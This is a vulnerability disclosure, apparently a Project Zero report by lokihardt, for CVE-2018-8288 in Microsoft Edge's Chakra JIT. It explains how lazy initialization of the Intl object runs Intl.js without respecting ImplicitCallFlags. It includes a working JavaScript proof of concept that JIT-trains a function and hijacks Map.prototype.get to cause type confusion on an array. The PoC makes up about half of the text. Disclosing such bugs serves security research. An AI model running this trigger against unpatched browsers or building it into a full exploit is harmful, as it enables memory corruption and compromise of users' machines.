Microsoft Edge Chakra JIT ImplicitCallFlags Check Bypass

`Microsoft Edge: Chakra: JIT: ImplicitCallFlags check bypass with Intl   
  
CVE-2018-8288  
  
  
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.  
  
In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.  
  
PoC:  
function opt(arr, obj) {  
arr[0] = 1.1;  
obj.x;  
arr[0] = 2.3023e-320;  
}  
  
let arr = [1.1];  
for (let i = 0; i < 0x10000; i++) {  
opt(arr, {});  
}  
  
let get = Map.prototype.get;  
Map.prototype.get = function (key) {  
Map.prototype.get = get;  
  
arr[0] = {};  
  
return this.get(key);  
};  
  
opt(arr, Intl);  
  
alert(arr[0]);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`